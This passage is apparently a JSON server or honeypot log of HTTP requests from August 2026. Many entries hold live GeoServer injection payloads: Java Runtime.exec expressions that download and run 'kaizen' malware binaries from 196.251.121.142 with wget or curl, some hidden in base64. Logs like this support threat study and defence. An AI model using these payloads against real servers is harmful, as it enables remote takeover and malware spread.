"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 916
},
{
"ts": "2026-08-30T11:03:36.600042+00:00",
"method": "GET",
"path": "/geoserver/ogc/features/v1/collections?filter-lang=cql-text&filter=exec%28java.lang.Runtime.getRuntime%28%29%2Cnew%20java.lang.String%5B%5D%7B%27/bin/bash%27%2C%27-c%27%2C%27cd%20/tmp%7C%7Ccd%20/var/run%7C%7Ccd%20/dev/shm%7C%7Ccd%20/root%7C%7Ccd%20/%3Bwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.x86_64_srv%20-O%20.k%202%3E/dev/null%7C%7Cwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.arm64%20-O%20.k%202%3E/dev/null%7C%7Cwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.x86%20-O%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.x86_64_srv%20-o%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.arm64%20-o%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.x86%20-o%20.k%202%3E/dev/null%3Bchmod%20777%20.k%3Bnohup%20./.k%20selfrep.geoserver%20%3E/dev/null%202%3E%261%20%26%27%7D%29",
"client_ip": "127.0.0.1",
"client_port": 49950,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:04:01.473234+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 51234,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "35.174.16.59",
"X-Forwarded-For": "35.174.16.59",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1",
"Accept-Encoding": "gzip"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:04:01.545600+00:00",
"method": "GET",
"path": "/favicon.ico",
"client_ip": "127.0.0.1",
"client_port": 51248,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "35.174.16.59",
"X-Forwarded-For": "35.174.16.59",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Accept-Encoding": "gzip",
"User-Agent": "okhttp/5.3.0"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:04:01.614677+00:00",
"method": "GET",
"path": "/favicon.png",
"client_ip": "127.0.0.1",
"client_port": 51250,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "35.174.16.59",
"X-Forwarded-For": "35.174.16.59",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Accept-Encoding": "gzip",
"User-Agent": "okhttp/5.3.0"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:10:07.326834+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 35020,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "180.149.125.168",
"X-Forwarded-For": "180.149.125.168",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36",
"Accept": "*/*",
"Accept-Encoding": "gzip"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:16:13.558258+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 46438,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "18.206.92.163",
"X-Forwarded-For": "18.206.92.163",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1",
"Accept-Encoding": "gzip"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:16:13.630100+00:00",
"method": "GET",
"path": "/favicon.ico",
"client_ip": "127.0.0.1",
"client_port": 46442,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "18.206.92.163",
"X-Forwarded-For": "18.206.92.163",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Accept-Encoding": "gzip",
"User-Agent": "okhttp/5.3.0"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:16:13.699429+00:00",
"method": "GET",
"path": "/favicon.png",
"client_ip": "127.0.0.1",
"client_port": 46446,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "18.206.92.163",
"X-Forwarded-For": "18.206.92.163",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Accept-Encoding": "gzip",
"User-Agent": "okhttp/5.3.0"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:17:02.917091+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 43080,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "18.206.92.163",
"X-Forwarded-For": "18.206.92.163",
"X-Forwarded-Proto": "https",
"Connection": "close",
"sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\", \"HeadlessChrome\";v=\"138\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"iOS\"",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Sec-Fetch-Site": "none",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-User": "?1",
"Sec-Fetch-Dest": "document",
"Accept-Encoding": "gzip, deflate, br, zstd"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:17:03.118165+00:00",
"method": "GET",
"path": "/favicon.ico",
"client_ip": "127.0.0.1",
"client_port": 43094,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "18.206.92.163",
"X-Forwarded-For": "18.206.92.163",
"X-Forwarded-Proto": "https",
"Connection": "close",
"sec-ch-ua-platform": "\"iOS\"",
"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7_8 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1",
"sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\", \"HeadlessChrome\";v=\"138\"",
"sec-ch-ua-mobile": "?0",
"Accept": "*/*",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "https://cb.cubicy.icu/",
"Accept-Encoding": "gzip, deflate, br, zstd"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:21:19.867627+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 55336,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "85.217.149.18",
"X-Forwarded-For": "85.217.149.18",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)",
"Accept": "*/*",
"Accept-Encoding": "gzip"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:24:41.150798+00:00",
"method": "GET",
"path": "/geoserver/web/",
"client_ip": "127.0.0.1",
"client_port": 39648,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:24:41.835207+00:00",
"method": "GET",
"path": "/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0",
"client_ip": "127.0.0.1",
"client_port": 39654,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:24:44.082176+00:00",
"method": "GET",
"path": "/geoserver/wfs?service=wfs&version=2.0.0&request=GetCapabilities",
"client_ip": "127.0.0.1",
"client_port": 39658,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:24:45.296381+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 43226,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1092",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1092
},
{
"ts": "2026-08-30T11:24:46.313342+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 43230,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:24:46.967767+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 43242,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "918",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 918
},
{
"ts": "2026-08-30T11:24:47.593315+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 43256,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1091",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1091
},
{
"ts": "2026-08-30T11:24:48.292467+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:bugsites&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 43266,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:24:49.146405+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 43280,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "917",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 917
},
{
"ts": "2026-08-30T11:24:50.425846+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 43288,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1091",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1091
},
{
"ts": "2026-08-30T11:24:51.470683+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 43294,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:24:52.243921+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 43302,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "917",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 917
},
{
"ts": "2026-08-30T11:24:53.525310+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 43304,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1099",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1099
},
{
"ts": "2026-08-30T11:24:54.238892+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:tasmania_roads&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9